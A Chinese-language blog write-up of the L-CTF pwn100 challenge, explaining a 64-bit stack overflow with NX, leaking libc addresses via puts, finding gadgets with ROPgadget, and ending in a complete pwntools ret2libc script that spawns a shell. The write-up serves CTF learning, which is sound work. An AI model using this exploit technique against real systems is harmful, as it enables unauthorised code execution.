pwn第一更-L-CTFpwn100

pwn之第一更-L-CTFpwn100

认真研究了好久的pwn,希望从这一篇博客开始能有质的突破。

废话不多说,pwn之第一更

0x00 程序分析

程序漏洞简单粗暴,最重要的是怎么写expliot。


题目开启了NX,因此不能用shellocde,程序同样没给libc,只能自己leak内存。

0x01 leak函数的真实地址

可以通过libc-database获取libc.so.6和对应的关键函数偏移。

0x02 计算覆盖长度和堆栈长度

首先通过gdb找到溢出点的位置以及堆栈的大小。

使用pattern生成长度为300的字符串,输入之后会发现多出100大小的字符串,因此堆栈的大小实际就是200

寻找溢出点的办法和普通的32位的liunx有些不同。

linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。

算出需要覆盖到溢出点的长度为72

0x03 寻找gadgets

x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于 pop rdi; ret 的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。我这里使用的工具是ROPgadget。

0x04 构造rop链

#!/usr/bin/env python
from pwn import *

p = process('./pwn100')

offset___libc_start_main_ret = 0x21f45
offset_system = 0x0000000000046590
offset_dup2 = 0x00000000000ebe90
offset_read = 0x00000000000eb6a0
offset_write = 0x00000000000eb700
offset_str_bin_sh = 0x17c8c3

pop_rdi  = 0x400763
plt_puts = 0x400500
got_read = 0x601028
def pwn():
        payload = 'a'*72 + p64(pop_rdi)+p64(got_read)+p64(plt_puts)+p64(0x40068E)
        #0x40068E是防止程序每运行一次函数的实际地址就会改变
        payload = payload.ljust(200)
        #ljust()函数是将200的空间剩余的用空格填充  
        p.sendline(payload) 
        p.recv(5)#5是接收的参数个数

        addr_read = u64(p.recvn(6).ljust(8,'\x00'))
        print 'read: '+hex(addr_read)

        addr_libc = addr_read - offset_read
        addr_system = addr_libc + offset_system
        addr_binsh = addr_libc + offset_str_bin_sh
        print 'libc: ' + hex(addr_libc)
        print 'system: ' + hex(addr_system)
        print 'binsh: ' + hex(addr_binsh)

        payload2 = 'b'*71 + p64(pop_rdi) + p64(addr_binsh) + p64(addr_system) + p64(0xdeadbeef)
        payload2 = payload2.ljust(200)
        p.sendline(payload2)
        p.interactive()
if __name__ == '__main__':
        pwn()    
文章目录
  1. 1. pwn之第一更-L-CTFpwn100
    1. 1.1. 0x00 程序分析
    2. 1.2. 0x01 leak函数的真实地址
    3. 1.3. 0x02 计算覆盖长度和堆栈长度
    4. 1.4. 0x03 寻找gadgets
    5. 1.5. 0x04 构造rop链
|